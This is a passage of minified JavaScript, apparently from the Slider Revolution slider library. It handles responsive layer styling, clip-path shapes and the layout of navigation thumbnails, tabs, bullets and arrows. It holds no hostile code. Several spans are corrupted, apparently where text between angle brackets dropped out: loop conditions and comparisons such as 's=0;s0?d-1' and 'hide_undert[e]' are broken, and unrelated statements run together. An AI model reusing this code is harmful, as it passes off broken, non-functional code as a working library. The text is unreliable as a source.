0:"n"==l.maxHeight[n]?"none":l.maxHeight[n],float:l.float[n],clear:l.clear[n]};for(l.borderStyle&&(d.borderStyle=l.borderStyle[n]),s=0;s<4;s++)l["padding"+i[s]]&&(d["padding"+i[s]]=l["padding"+i[s]][n]),l["margin"+i[s]]&&(d["margin"+i[s]]=parseInt(l["margin"+i[s]][n])),l["border"+a[s]+"Radius"]&&(d["border"+a[s]+"Radius"]=l["border"+a[s]+"Radius"][n]),void 0!==d.borderStyle&&"none"!==d.borderStyle&&(l["border"+i[s]+"Color"]&&(d["border"+i[s]+"Color"]=l["border"+i[s]+"Color"]),l["border"+i[s]+"Width"]&&(d["border"+i[s]+"Width"]=parseInt(l["border"+i[s]+"Width"])));return l._isnotext||(d.textDecoration=l.textDecoration,d.fontSize=parseInt(l.fontSize[n]),d.fontWeight=parseInt(l.fontWeight[n]),d.letterSpacing=parseInt(l.letterSpacing[n])||0,d.textAlign=l.textAlign[n],d.whiteSpace=l.whiteSpace[n],d.whiteSpace="normal"===d.whiteSpace&&"auto"===d.width&&(!0!==l._incolumn&&!0!==l._ingroup||"relative"!==l.position)?"nowrap":d.whiteSpace,d.display=l.display,void 0!==l.tshadow&&(d.textShadow=parseInt(l.tshadow.h[n],0)+"px "+parseInt(l.tshadow.v[n],0)+"px "+l.tshadow.b[n]+" "+l.tshadow.c),void 0!==l.tstroke&&(d.textStroke=parseInt(l.tstroke.w[n],0)+"px "+l.tstroke.c)),"group"===l.type&&(d.whiteSpace=l.whiteSpace,d.textAlign=l.textAlign[n],d.display=l.display),void 0!==l.bshadow&&(d.boxShadow=parseInt(l.bshadow.h[n],0)+"px "+parseInt(l.bshadow.v[n],0)+"px "+parseInt(l.bshadow.b[n],0)+"px "+parseInt(l.bshadow.s[n],0)+"px "+l.bshadow.c),d}}(m,v,e.RSL),O="off"===y?1:o[v].CM.w;if(void 0===S._isnotext&&(S._isnotext=void 0!==L.RSL&&void 0!==L.RSL[0]&&L.RSL[0].length>0?o.gA(L.RSL[0],"_isnotext"):S._isnotext),S._incolumn&&("shape"===S.type||"text"===S.type||"button"===S.type)&&(""+L.height).indexOf(!1)&&(L.height=L.height),S.OBJUPD=null==S.OBJUPD?{}:S.OBJUPD,S.caches=null==S.caches?{}:S.caches,"column"===S.type){for(s={},k={},t=0;t<4;t++)void 0!==L["margin"+i[t]]&&(s["padding"+i[t]]=Math.round(L["margin"+i[t]]*O)+"px",k["margin"+i[t]]=L["margin"+i[t]],delete L["margin"+i[t]]);jQuery.isEmptyObject(s)||tpGS.gsap.set(S._column,s)}var R=o.clone(S.OBJUPD.POBJ),I=o.clone(S.OBJUPD.LPOBJ);if(-1===x.indexOf("rs_splitted_")){for(s={overwrite:"auto"},t=0;t<4;t++)void 0!==L["border"+a[t]+"Radius"]&&(s["border"+a[t]+"Radius"]=L["border"+a[t]+"Radius"]),void 0!==L["padding"+i[t]]&&(s["padding"+i[t]]=Math.round(L["padding"+i[t]]*O)+"px"),void 0===L["margin"+i[t]]||S._incolumn||S._ingroup&&"absolute"!=S.position||(s["margin"+i[t]]="row"===S.type?0:Math.round(L["margin"+i[t]]*O)+"px");if(void 0!==S.spike&&(s["clip-path"]=s["-webkit-clip-path"]=S.spike),L.boxShadow&&(s.boxShadow=L.boxShadow),"column"!==S.type&&(void 0!==L.borderStyle&&"none"!==L.borderStyle&&(0!==L.borderTopWidth||L.borderBottomWidth>0||L.borderLeftWidth>0||L.borderRightWidth>0)?(s.borderTopWidth=Math.round(L.borderTopWidth*O)+"px",s.borderBottomWidth=Math.round(L.borderBottomWidth*O)+"px",s.borderLeftWidth=Math.round(L.borderLeftWidth*O)+"px",s.borderRightWidth=Math.round(L.borderRightWidth*O)+"px",s.borderStyle=L.borderStyle,s.borderTopColor=L.borderTopColor,s.borderBottomColor=L.borderBottomColor,s.borderLeftColor=L.borderLeftColor,s.borderRightColor=L.borderRightColor):("none"===L.borderStyle&&(s.borderStyle="none"),void 0!==L.borderTopColor&&(s.borderTopColor=L.borderTopColor),void 0!==L.borderBottomColor&&(s.borderBottomColor=L.borderBottomColor),void 0!==L.borderLeftColor&&(s.borderLeftColor=L.borderLeftColor),void 0!==L.borderRightColor&&(s.borderRightColor=L.borderRightColor))),"shape"!==S.type&&"image"!==S.type||!(P(L.borderTopLeftRadius)||P(L.borderTopRightRadius)||P(L.borderBottomLeftRadius)||P(L.borderBottomRightRadius))||(s.overflow="hidden"),S._isnotext||("column"!==S.type&&(s.fontSize=Math.round(L.fontSize*O)+"px",s.fontWeight=L.fontWeight,s.letterSpacing=L.letterSpacing*O+"px",L.textShadow&&(s.textShadow=L.textShadow),L.textStroke&&(s["-webkit-text-stroke"]=L.textStroke)),s.lineHeight=Math.round(L.lineHeight*O)+"px",s.textAlign=L.textAlign),"video"===S.type&&S.html5vid&&void 0!==S.deepmedia&&void 0!==S.deepmedia[0]&&null!=S.deepmedia[0].parentNode&&(P(L.borderTopLeftRadius)||P(L.borderTopRightRadius)||P(L.borderBottomLeftRadius)||P(L.borderBottomRightRadius))&&tpGS.gsap.set(S.deepmedia[0].parentNode,function(e){var t=o.clone(e);return t.top=0-((parseInt(t.borderTopWidth)||0)+(parseInt(t.borderBottomWidth)||0))/2+"px",t.left=0-((parseInt(t.borderLeftWidth)||0)+(parseInt(t.borderRightWidth)||0))/2+"px",t.borderStyle=void 0!==t.borderTopWidth||void 0!==t.borderBottomWidth||void 0!==t.borderLeftWidth||void 0!==t.borderRightWidth?"solid":"none",t.borderColor="transparent",t.boxSizing="content-box",t}(s)),"column"===S.type&&void 0!==S.cbg&&(void 0===S.cbg_set&&(S.cbg_set=S.styleProps["background-color"],S.cbg_set=""==S.cbg_set||void 0===S.cbg_set||0==S.cbg_set.length?"transparent":S.cbg_set,S.cbg_img=void 0!==m[0].dataset.bglazy?'url("'+m[0].dataset.bglazy+'")':m.css("backgroundImage"),""!==S.cbg_img&&void 0!==S.cbg_img&&"none"!==S.cbg_img&&(S.cbg_img_r=m.css("backgroundRepeat"),S.cbg_img_p=m.css("backgroundPosition"),S.cbg_img_s=m.css("backgroundSize")),S.cbg_o=S.bgopacity?1:S.bgopacity,b.backgroundColor="transparent",b.backgroundImage=""),s.backgroundColor="transparent",s.backgroundImage="none"),S._isstatic&&S.elementHovered&&(p=m.data("frames"))&&p.frame_hover&&p.frame_hover.transform)for(g in s)s.hasOwnProperty(g)&&p.frame_hover.transform.hasOwnProperty(g)&&delete s[g];if("IFRAME"==m[0].nodeName&&"html"===o.gA(m[0],"layertype")&&(u="slide"==L.basealign?o[v].module.width:o.iWA(v,w),h="slide"==L.basealign||"carousel"==o[v].sliderType&&"v"===o[v].carousel.orientation?o[v].module.height:o.iHE(v),s.width=!o.isNumeric(L.width)&&L.width.indexOf("%")>=0?!S._isstatic||S._incolumn||S._ingroup?L.width:u*parseInt(L.width,0)/100:D(L.width,O,"auto",u,"auto"),s.height=!o.isNumeric(L.height)&&L.height.indexOf("%")>=0?!S._isstatic||S._incolumn||S._ingroup?L.height:h*parseInt(L.height,0)/100:D(L.height,O,"auto",u,"auto")),b=jQuery.extend(!0,b,s),o[v].firstLayerCalculated=!0,"rekursive"!=f){u="slide"==L.basealign?o[v].module.width:o.iWA(v,w),h="slide"==L.basealign||"carousel"==o[v].sliderType&&"v"===o[v].carousel.orientation?o[v].module.height:o.iHE(v);var M=!o.isNumeric(L.width)&&L.width.indexOf("%")>=0?!S._isstatic||S._incolumn||S._ingroup?L.width:u*parseInt(L.width,0)/100:D(L.width,O,"auto",u,"auto"),T=!o.isNumeric(L.height)&&L.height.indexOf("%")>=0?!S._isstatic||S._incolumn||S._ingroup?L.height:h*parseInt(L.height,0)/100:D(L.height,O,"auto",u,"auto"),C={maxWidth:D(L.maxWidth,O,"none",u,"none"),maxHeight:D(L.maxHeight,O,"none",h,"none"),minWidth:D(L.minWidth,O,"0px",u,0),minHeight:D(L.minHeight,O,"0px",h,0),height:T,width:M,overwrite:"auto"};1==S.heightSetByVideo&&(C.height=S.vidOBJ.height);var A=!1;if(S._incolumn){for(R=jQuery.extend(!0,R,{minWidth:M,maxWidth:M,float:L.float,clear:L.clear}),t=0;t<4;t++)void 0!==L["margin"+i[t]]&&(R["margin"+i[t]]=L["margin"+i[t]]*O+"px");I.width="100%",void 0!==L.display&&"inline-block"!==L.display||(_={width:"100%"}),C.width=!o.isNumeric(L.width)&&L.width.indexOf("%")>=0?"100%":M,"image"===S.type&&tpGS.gsap.set(S.img,{width:"100%"})}else!o.isNumeric(L.width)&&L.width.indexOf("%")>=0&&(S._isgroup&&"absolute"===S.position||(!0===S._ingroup||1==S._incolumn)&&"relative"===S.position||void 0!==S.reqWrp&&(!S.reqWrp.loop||!S.reqWrp.mask)?R.width="slide"===S.basealign||!0===S._ingroup||S._isstatic?M:o.iWA(v,w)*o[v].CM.w*parseInt(M)/100+"px":R.minWidth="slide"===S.basealign||!0===S._ingroup||S._isstatic?M:o.iWA(v,w)*o[v].CM.w*parseInt(M)/100+"px",I.width="100%",_.width="100%");if(!0===S._ingroup&&"relative"===S.position&&(R.float=L.float,R.lineHeight=L.lineHeight+"px",b.verticalAlign="top",_.verticalAlign="top",I.verticalAlign="top",R.verticalAlign="inherit"),!o.isNumeric(L.height)&&L.height.indexOf("%")>=0&&(R.minHeight="slide"===S.basealign||!0===S._ingroup||S._isstatic?T:o.iHE(v)*(o[v].currentRowsHeight>o[v].gridheight[o[v].level]?1:o[v].CM.w)*parseInt(T)/100+"px",void 0===S.reqWrp||S.reqWrp.loop||S.reqWrp.mask||(R.height=R.minHeight),I.height="100%",_.height="100%",A=!0),S._isnotext?"group"==S.type&&(C.whiteSpace="normal"):(C.whiteSpace=L.whiteSpace,C.textAlign=L.textAlign,C.textDecoration=L.textDecoration),"npc"!=L.color&&void 0!==L.color&&(C.color=L.color),S._ingroup&&(S._groupw=C.minWidth,S._grouph=C.minHeight),"row"===S.type&&(o.isNumeric(C.minHeight)||C.minHeight.indexOf("px")>=0)&&"0px"!==C.minHeight&&0!==C.minHeight&&"0"!==C.minHeight&&"none"!==C.minHeight?C.height=C.minHeight:"row"===S.type&&(C.height="auto"),S._isstatic&&S.elementHovered&&(p=m.data("frames"))&&p.frame_hover&&p.frame_hover.transform)for(g in C)C.hasOwnProperty(g)&&p.frame_hover.transform.hasOwnProperty(g)&&delete C[g];if("group"!==S.type&&"row"!==S.type&&"column"!==S.type&&(!o.isNumeric(C.width)&&C.width.indexOf("%")>=0&&(C.width="100%"),!o.isNumeric(C.height)&&C.height.indexOf("%")>=0&&(C.height="100%")),S._isgroup){for(!o.isNumeric(C.width)&&C.width.indexOf("%")>=0&&(C.width="100%"),"absolute"!=S.position||S._ingroup||S._incolumn||!A?R.height=A?"100%":C.height:(R.height=R.minHeight,C.height="100%"),C.lineHeight=void 0===L.lineHeight||A?"initial":L.lineHeight+"px",C.verticalAlign=S.verticalalign,C.textAlign=L.textAlign,t=0;t<4;t++)void 0!==b["border"+a[t]+"Radius"]&&(_["border"+a[t]+"Radius"]=b["border"+a[t]+"Radius"]);"relative"==S.position&&void 0!==L.display&&(R.display=L.display),"auto"==L.width&&(_.position="relative")}b=jQuery.extend(!0,b,C),null!=S.svg_src&&void 0!==S.svgI&&("string"==typeof S.svgI.fill&&(S.svgI.fill=[S.svgI.fill]),S.svgTemp=o.clone(S.svgI),delete S.svgTemp.svgAll,void 0!==S.svgTemp.fill&&!0!==(S.elementHovered&&S._isstatic)&&(S.svgTemp.fill=S.svgTemp.fill[o[v].level],S.svg.length<=0&&(S.svg=m.find("svg")),S.svgPath.length<=0&&(S.svgPath=S.svg.find(S.svgI.svgAll?"path, circle, ellipse, line, polygon, polyline, rect":"path")),tpGS.gsap.set(S.svgPath,{fill:S.svgI.fill[o[v].level]})),tpGS.gsap.set(S.svg,S.svgTemp))}if("row"===S.type)for(t=0;t<4;t++)void 0!==L["margin"+i[t]]&&(R["padding"+i[t]]=L["margin"+i[t]]*O+"px");if(S._ingroup&&"relative"==S.position){for(t=0;t<4;t++)void 0!==L["margin"+i[t]]&&(R["margin"+i[t]]=L["margin"+i[t]]*O+"px");"shape"===S.type&&"100%"==_.width&&"100%"==_.height&&(_.position="absolute")}if("column"===S.type&&S.cbg&&S.cbg.length>0){for(void 0!==S.cbg_img_s&&void 0!==S.cbg&&(S.cbg[0].style.backgroundSize=S.cbg_img_s),s={},""!==S.styleProps.cursor&&(s.cursor=S.styleProps.cursor),""!==S.cbg_set&&"transparent"!==S.cbg_set&&(s.backgroundColor=S.cbg_set),""!==S.cbg_img&&"none"!==S.cbg_img&&(s.backgroundImage=S.cbg_img,""!==S.cbg_img_r&&(s.backgroundRepeat=S.cbg_img_r),""!==S.cbg_img_p&&(s.backgroundPosition=S.cbg_img_p)),""!==S.cbg_o&&void 0!==S.cbg_o&&(s.opacity=S.cbg_o),t=0;t<4;t++)void 0!==L.borderStyle&&"none"!==L.borderStyle&&(void 0!==L["border"+i[t]+"Width"]&&(s["border"+i[t]+"Width"]=Math.round(parseInt(L["border"+i[t]+"Width"])*O)+"px"),void 0!==L["border"+i[t]+"Color"]&&(s["border"+i[t]+"Color"]=L["border"+i[t]+"Color"])),L["border"+a[t]+"Radius"]&&(s["border"+a[t]+"Radius"]=L["border"+a[t]+"Radius"]);for(void 0!==L.borderStyle&&"none"!==L.borderStyle&&(s.borderStyle=L.borderStyle),(n=JSON.stringify(s))!==o[v].emptyObject&&n!==S.caches.cbgS&&tpGS.gsap.set(S.cbg,s),S.caches.cbgS=n,s={},t=0;t<4;t++)k["margin"+i[t]]&&(s[r[t]]=k["margin"+i[t]]*O+"px");(n=JSON.stringify(s))!==o[v].emptyObject&&n!==S.caches.cbgmaskS&&(tpGS.gsap.set(S.cbgmask,s),S.caches.cbgmaskS=n)}for(var B in void 0===S.reqWrp||S.reqWrp.loop||S.reqWrp.mask||"100%"!=b.width||"100%"!=b.height||(b.position="absolute"),"auto"===R.maxWidth&&(R.maxWidth="inherit"),"auto"===R.maxHeight&&(R.maxHeight="inherit"),"auto"===_.maxWidth&&(_.maxWidth="inherit"),"auto"===_.maxHeight&&(_.maxHeight="inherit"),"auto"===I.maxWidth&&(I.maxWidth="inherit"),"auto"===I.maxHeight&&(I.maxHeight="inherit"),S.fullinset&&1==S._ingroup&&"absolute"===S.position&&(R.width="auto",R.minHeight="auto",R.height="auto",R.left=void 0!==b.marginLeft&&"0px"!==b.marginLeft?b.marginLeft:"0px",R.right=void 0!==b.marginRight&&"0px"!==b.marginRight?b.marginRight:"0px",R.top=void 0!==b.marginTop&&"0px"!==b.marginTop?b.marginTop:"0px",R.bottom=void 0!==b.marginBottom&&"0px"!==b.marginBottom?b.marginBottom:"0px",delete b.marginLeft,delete b.marginRight,delete b.marginTop,delete b.marginBottom),void 0!==S.vidOBJ&&(b.width=S.vidOBJ.width,b.height=S.vidOBJ.height),void 0!==S.OBJUPD.lppmOBJ&&(void 0!==S.OBJUPD.lppmOBJ.minWidth&&(I.minWidth=S.OBJUPD.lppmOBJ.minWidth,_.minWidth=S.OBJUPD.lppmOBJ.minWidth),void 0!==S.OBJUPD.lppmOBJ.minHeight&&(I.minHeight=S.OBJUPD.lppmOBJ.minHeight,_.minHeight=S.OBJUPD.lppmOBJ.minHeight,R.minHeight=S.OBJUPD.lppmOBJ.minHeight)),S._incolumn&&"group"==S.type&&void 0!==R&&"100%"==R.minWidth&&(_.width="100%"),S._isgroup&&S.thFixed&&void 0!==S.reqWrp&&S.reqWrp.loop&&S.reqWrp.mask&&"auto"==L.width&&(I.position="relative"),!S._ingroup||S.reqWrp.loop||S.reqWrp.mask||"absolute"!=S.position||"100%"!=R.minHeight||(R.height="100%"),o[v].calcResponsiveLayerHooks){var G=o[v].calcResponsiveLayerHooks[B]({id:v,L:m,obj:L,_:S,inobj:e,LOBJ:b,LPOBJ:I,MOBJ:_,POBJ:R});null!=G&&(void 0!==G.obj&&(L=jQuery.extend(!0,L,G.obj)),void 0!==G.LOBJ&&(b=jQuery.extend(!0,b,G.LOBJ)),void 0!==G.LPOBJ&&(I=jQuery.extend(!0,I,G.LPOBJ)),void 0!==G.MOBJ&&(_=jQuery.extend(!0,_,G.MOBJ)),void 0!==G.POBJ&&(R=jQuery.extend(!0,R,G.POBJ)))}n=JSON.stringify(b),l=JSON.stringify(I),d=JSON.stringify(_),c=JSON.stringify(R),void 0===S.imgOBJ||void 0!==S.caches.imgOBJ&&S.caches.imgOBJ.width===S.imgOBJ.width&&S.caches.imgOBJ.height===S.imgOBJ.height&&S.caches.imgOBJ.left===S.imgOBJ.left&&S.caches.imgOBJ.right===S.imgOBJ.right&&S.caches.imgOBJ.top===S.imgOBJ.top&&S.caches.imgOBJ.bottom===S.imgOBJ.bottom||(S.caches.imgOBJ=o.clone(S.imgOBJ),S.imgOBJ.position="relative",tpGS.gsap.set(S.img,S.imgOBJ)),void 0===S.mediaOBJ||void 0!==S.caches.mediaOBJ&&S.caches.mediaOBJ.width===S.mediaOBJ.width&&S.caches.mediaOBJ.height===S.mediaOBJ.height&&S.caches.mediaOBJ.display===S.mediaOBJ.display||(S.caches.mediaOBJ=o.clone(S.mediaOBJ),S.media.css(S.mediaOBJ)),n!=o[v].emptyObject&&n!=S.caches.LOBJ&&(tpGS.gsap.set(m,b),S.caches.LOBJ=n),void 0!==S.lp&&l!=o[v].emptyObject&&l!=S.caches.LPOBJ&&(tpGS.gsap.set(S.lp,I),S.caches.LPOBJ=l),d!=o[v].emptyObject&&d!=S.caches.MOBJ&&(tpGS.gsap.set(S.m,_),S.caches.MOBJ=d),c!=o[v].emptyObject&&c!=S.caches.POBJ&&(tpGS.gsap.set(S.p,R),S.caches.POBJ=c,S.caches.POBJ_LEFT=R.left,S.caches.POBJ_TOP=R.top)}},G=function(e){var t={l:"none",lw:10,r:"none",rw:10};for(var i in e=e.split(";"))if(e.hasOwnProperty(i)){var a=e[i].split(":");switch(a[0]){case"l":t.l=a[1];break;case"r":t.r=a[1];break;case"lw":t.lw=a[1];break;case"rw":t.rw=a[1]}}return"polygon("+F(t.l,0,parseFloat(t.lw))+","+F(t.r,100,100-parseFloat(t.rw),!0)+")"},F=function(e,t,i,a){var r;switch(e){case"none":r=t+"% 100%,"+t+"% 0%";break;case"top":r=i+"% 100%,"+t+"% 0%";break;case"middle":r=i+"% 100%,"+t+"% 50%,"+i+"% 0%";break;case"bottom":r=t+"% 100%,"+i+"% 0%";break;case"two":r=i+"% 100%,"+t+"% 75%,"+i+"% 50%,"+t+"% 25%,"+i+"% 0%";break;case"three":r=t+"% 100%,"+i+"% 75%,"+t+"% 50%,"+i+"% 25%,"+t+"% 0%";break;case"four":r=t+"% 100%,"+i+"% 87.5%,"+t+"% 75%,"+i+"% 62.5%,"+t+"% 50%,"+i+"% 37.5%,"+t+"% 25%,"+i+"% 12.5%,"+t+"% 0%";break;case"five":r=t+"% 100%,"+i+"% 90%,"+t+"% 80%,"+i+"% 70%,"+t+"% 60%,"+i+"% 50%,"+t+"% 40%,"+i+"% 30%,"+t+"% 20%,"+i+"% 10%,"+t+"% 0%"}if(a){var o=r.split(",");for(var i in r="",o)o.hasOwnProperty(i)&&(r+=o[o.length-1-i]+(it[e].module.width,t[e].navigation.thumbnails.cw=Math.max(Math.round(t[e].navigation.thumbnails.width*t[e].navigation.scaler),t[e].navigation.thumbnails.min_width),t[e].navigation.thumbnails.ch=Math.round(t[e].navigation.thumbnails.cw/t[e].navigation.thumbnails.width*t[e].navigation.thumbnails.height),t[e].navigation.thumbnails.isVisible&&"outer-left"===t[e].navigation.thumbnails.position?i.left=t[e].navigation.thumbnails.cw+2*t[e].navigation.thumbnails.wrapper_padding:t[e].navigation.thumbnails.isVisible&&"outer-right"===t[e].navigation.thumbnails.position?i.right=t[e].navigation.thumbnails.cw+2*t[e].navigation.thumbnails.wrapper_padding:t[e].navigation.thumbnails.isVisible&&"outer-top"===t[e].navigation.thumbnails.position?i.top=t[e].navigation.thumbnails.ch+2*t[e].navigation.thumbnails.wrapper_padding:t[e].navigation.thumbnails.isVisible&&"outer-bottom"===t[e].navigation.thumbnails.position&&(i.bottom=t[e].navigation.thumbnails.ch+2*t[e].navigation.thumbnails.wrapper_padding)),t[e].navigation.tabs&&t[e].navigation.tabs.enable&&(t[e].navigation.tabs.isVisible=t[e].navigation.tabs.hide_undert[e].module.width,t[e].navigation.tabs.cw=Math.max(Math.round(t[e].navigation.tabs.width*t[e].navigation.scaler),t[e].navigation.tabs.min_width),t[e].navigation.tabs.ch=Math.round(t[e].navigation.tabs.cw/t[e].navigation.tabs.width*t[e].navigation.tabs.height),t[e].navigation.tabs.isVisible&&"outer-left"===t[e].navigation.tabs.position?i.left+=t[e].navigation.tabs.cw+2*t[e].navigation.tabs.wrapper_padding:t[e].navigation.tabs.isVisible&&"outer-right"===t[e].navigation.tabs.position?i.right+=t[e].navigation.tabs.cw+2*t[e].navigation.tabs.wrapper_padding:t[e].navigation.tabs.isVisible&&"outer-top"===t[e].navigation.tabs.position?i.top+=t[e].navigation.tabs.ch+2*t[e].navigation.tabs.wrapper_padding:t[e].navigation.tabs.isVisible&&"outer-bottom"===t[e].navigation.tabs.position&&(i.bottom+=t[e].navigation.tabs.ch+2*t[e].navigation.tabs.wrapper_padding)),{left:i.left,right:i.right,horizontal:i.left+i.right,vertical:i.top+i.bottom,top:i.top,bottom:i.bottom}},resizeThumbsTabs:function(e,i){if(void 0!==t[e]&&t[e].navigation.use&&(t[e].navigation&&t[e].navigation.bullets.enable||t[e].navigation&&t[e].navigation.tabs.enable||t[e].navigation&&t[e].navigation.thumbnails.enable)){var a=tpGS.gsap.timeline(),o=t[e].navigation.tabs,s=t[e].navigation.thumbnails,n=t[e].navigation.bullets;if(a.pause(),p(o)&&(i||o.width>o.min_width)&&r(e,a,t[e].c,o,t[e].slideamount,"tab"),p(s)&&(i||s.width>s.min_width)&&r(e,a,t[e].c,s,t[e].slideamount,"thumb",e),p(n)&&i){var l=t[e].c.find(".tp-bullets");l.find(".tp-bullet").each(function(e){var t=jQuery(this),i=e+1,a=t.outerWidth()+parseInt(void 0===n.space?0:n.space,0),r=t.outerHeight()+parseInt(void 0===n.space?0:n.space,0);"vertical"===n.direction?(t.css({top:(i-1)*r+"px",left:"0px"}),l.css({height:(i-1)*r+t.outerHeight(),width:t.outerWidth()})):(t.css({left:(i-1)*a+"px",top:"0px"}),l.css({width:(i-1)*a+t.outerWidth(),height:t.outerHeight()}))})}a.play()}return!0},updateNavIndexes:function(e){var i=t[e].c;function a(e){i.find(e).lenght>0&&i.find(e).each(function(e){jQuery(this).data("liindex",e)})}a("rs-tab"),a("rs-bullet"),a("rs-thumb"),t.resizeThumbsTabs(e,!0),t.manageNavigation(e)},manageNavigation:function(e,i){t[e].navigation.use&&(p(t[e].navigation.bullets)&&("fullscreen"!=t[e].sliderLayout&&"fullwidth"!=t[e].sliderLayout&&(t[e].navigation.bullets.h_offset_old=void 0===t[e].navigation.bullets.h_offset_old?parseInt(t[e].navigation.bullets.h_offset,0):t[e].navigation.bullets.h_offset_old,t[e].navigation.bullets.h_offset="center"===t[e].navigation.bullets.h_align?t[e].navigation.bullets.h_offset_old+t[e].outNavDims.left/2-t[e].outNavDims.right/2:t[e].navigation.bullets.h_offset_old+t[e].outNavDims.left),b(t[e].navigation.bullets,e)),p(t[e].navigation.thumbnails)&&b(t[e].navigation.thumbnails,e),p(t[e].navigation.tabs)&&b(t[e].navigation.tabs,e),p(t[e].navigation.arrows)&&("fullscreen"!=t[e].sliderLayout&&"fullwidth"!=t[e].sliderLayout&&(t[e].navigation.arrows.left.h_offset_old=void 0===t[e].navigation.arrows.left.h_offset_old?parseInt(t[e].navigation.arrows.left.h_offset,0):t[e].navigation.arrows.left.h_offset_old,t[e].navigation.arrows.left.h_offset=(t[e].navigation.arrows.left.h_align,t[e].navigation.arrows.left.h_offset_old),t[e].navigation.arrows.right.h_offset_old=void 0===t[e].navigation.arrows.right.h_offset_old?parseInt(t[e].navigation.arrows.right.h_offset,0):t[e].navigation.arrows.right.h_offset_old,t[e].navigation.arrows.right.h_offset=(t[e].navigation.arrows.right.h_align,t[e].navigation.arrows.right.h_offset_old)),b(t[e].navigation.arrows.left,e),b(t[e].navigation.arrows.right,e)),!1!==i&&(p(t[e].navigation.thumbnails)&&a(t[e].navigation.thumbnails,e),p(t[e].navigation.tabs)&&a(t[e].navigation.tabs,e)))},showFirstTime:function(e){u(e),t.hideUnHideNav(e)},selectNavElement:function(e,i,a,r){for(var o=t[e].cpar[0].getElementsByClassName(a),s=0;s0?d-1:t[e].slideamount-1,u=d+1==t[e].slideamount?0:d+1;if(!0===i.enable&&i.pi!==g&&i.ni!==u){if(i.pi=g,i.ni=u,i.left.c[0].innerHTML=t.transferParams(i.tmp,t[e].thumbs[g]),u>t[e].slideamount)return;i.right.c[0].innerHTML=t.transferParams(i.tmp,t[e].thumbs[u]),i.right.iholder=i.right.c.find(".tp-arr-imgholder"),i.left.iholder=i.left.c.find(".tp-arr-imgholder"),i.rtl?(void 0!==i.left.iholder[0]&&tpGS.gsap.set(i.left.iholder,{backgroundImage:"url("+t[e].thumbs[u].src+")"}),void 0!==t[e].thumbs[g]&&void 0!==i.right.iholder[0]&&tpGS.gsap.set(i.right.iholder,{backgroundImage:"url("+t[e].thumbs[g].src+")"})):(void 0!==t[e].thumbs[g]&&void 0!==i.left.iholder[0]&&tpGS.gsap.set(i.left.iholder,{backgroundImage:"url("+t[e].thumbs[g].src+")"}),void 0!==i.right.iholder[0]&&tpGS.gsap.set(i.right.iholder,{backgroundImage:"url("+t[e].thumbs[u].src+")"}))}}},createNavigation:function(e){var a=t[e].navigation.arrows,r=t[e].navigation.bullets,o=t[e].navigation.thumbnails,l=t[e].navigation.tabs,h=p(a),v=p(r),y=p(o),w=p(l);for(var x in s(e),n(e),h&&(f(a,e),a.c=t[e].cpar.find(".tparrows")),t[e].slides)if(t[e].slides.hasOwnProperty(x)&&"true"!=t.gA(t[e].slides[x],"not_in_nav")){var k=jQuery(t[e].slides[t[e].slides.length-1-x]),L=jQuery(t[e].slides[x]);v&&(t[e].navigation.bullets.rtl?_(t[e].c,r,k,e):_(t[e].c,r,L,e)),y&&(t[e].navigation.thumbnails.rtl?S(t[e].c,o,k,"tp-thumb",e):S(t[e].c,o,L,"tp-thumb",e)),w&&(t[e].navigation.tabs.rtl?S(t[e].c,l,k,"tp-tab",e):S(t[e].c,l,L,"tp-tab",e))}v&&b(r,e),y&&b(o,e),w&&b(l,e),(y||w)&&t.updateDims(e),t[e].navigation.createNavigationDone=!0,y&&jQuery.extend(!0,o,i(e,"thumb")),w&&jQuery.extend(!0,l,i(e,"tab")),t[e].c.on("revolution.slide.onafterswap revolution.nextslide.waiting",function(){t.updateNavElementContent(e,a,r,o,l)}),c(a),c(r),c(o),c(l),t[e].cpar.on(t.ISM?"touchstart touchmove":"mouseenter mousemove",function(i){void 0!==i.target&&void 0!==i.target.className&&"string"==typeof i.target.className&&i.target.className.indexOf("rs-waction")>=0||!0!==t[e].tpMouseOver&&t[e].firstSlideAvailable&&(t[e].tpMouseOver=!0,u(e),t.ISM&&!0!==t[e].someNavIsDragged&&(g(t[e].hideAllNavElementTimer),t[e].hideAllNavElementTimer=setTimeout(function(){t[e].tpMouseOver=!1,m(e)},150)))}),t[e].cpar.on(t.ISM?"touchend":"mouseleave ",function(){t[e].tpMouseOver=!1,m(e)}),(y||w||"carousel"===t[e].sliderType||t[e].navigation.touch.touchOnDesktop||t[e].navigation.touch.touchenabled&&t.ISM)&&d(e),t[e].navigation.initialised=!0,t.updateNavElementContent(e,a,r,o,l),t.showFirstTime(e)}});var a=function(e,i){if(void 0!==e&&null!=e.mask){var a="vertical"===e.direction?e.mask.find(e.single).first().outerHeight(!0)+e.space:e.mask.find(e.single).first().outerWidth(!0)+e.space,r="vertical"===e.direction?e.mask.height():e.mask.width(),o=e.mask.find(e.single+".selected").data("liindex");o=(o=void 0===(o=e.rtl?t[i].slideamount-o:o)?0:o)>0&&1===t[i].sdir&&e.visibleAmount>1?o-1:o;var s=r/a,n="vertical"===e.direction?e.mask.height():e.mask.width(),l=0-o*a,d="vertical"===e.direction?e.wrap.height():e.wrap.width(),c=l<0-(d-n)?0-(d-n):l,p=t.gA(e.wrap[0],"offset");p=void 0===p?0:p,s>2&&(c=l-(p+a)<=0?l-(p+a)<0-a?p:c+a:c,c=l-a+p+r=e.wrap.width()||"vertical"===e.direction&&e.mask.height()>=e.wrap.height()?0:c<0-(d-n)?0-(d-n):c>0?0:c,e.c.hasClass("dragged")||("vertical"===e.direction?e.wrap.data("tmmove",tpGS.gsap.to(e.wrap,.5,{top:c+"px",ease:"power3.inOut"})):e.wrap.data("tmmove",tpGS.gsap.to(e.wrap,.5,{left:c+"px",ease:"power3.inOut"})),e.wrap.data("offset",c))}},r=function(e,i,a,r,o,s){var n=a.parent().find(".tp-"+s+"s"),l=n.find(".tp-"+s+"s-inner-wrapper"),d=n.find(".tp-"+s+"-mask"),c="vertical"===r.direction?r.cw:r.cw*o+parseFloat(r.space)*(o-1),p="vertical"===r.direction?r.ch*o+parseInt(r.space)*(o-1):r.ch,g="vertical"===r.direction?{width:r.cw+"px"}:{height:r.ch+"px"};if(i.add(tpGS.gsap.set(n,g)),i.add(tpGS.gsap.set(l,{width:c+"px",height:p+"px"})),"horizontal"===r.direction){var u=Math.min(c,r.cw*r.visibleAmount+parseFloat(r.space)*(r.visibleAmount-1));i.add(tpGS.gsap.set(d,{width:u+"px",height:p+"px"}))}else{var 